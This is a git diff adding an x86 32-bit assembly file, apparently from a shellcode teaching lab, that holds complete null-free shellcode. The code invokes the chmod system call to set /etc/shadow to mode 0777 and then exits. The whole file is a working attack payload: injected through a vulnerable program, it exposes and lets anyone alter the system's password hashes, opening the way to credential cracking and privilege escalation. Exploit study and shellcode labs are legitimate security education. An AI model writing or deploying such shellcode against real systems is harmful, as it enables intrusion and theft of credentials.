init

x86_32/Example_Code/chmod_shadow_no0.asm

@@ -0,0 +1,26 @@
+; shellcode-lab@hack4
+; by dash
+
+BITS 32
+global _start
+
+_start:
+xor     eax, eax
+xor     ebx, ebx
+xor     ecx, ecx
+
+;chmod
+mov     cx, 0x1ff       ;0777
+push    ebx             ;null terminator
+push    0x776f6461      ;/etc/shadow
+push    0x68732f63
+push    0x74652f2f
+mov     ebx, esp        ;put the address of esp to ebx (shadow)
+mov     al, 15
+int     0x80
+
+;exit
+xor     eax, eax
+xor     ebx, ebx
+mov     al, 1
+int     0x80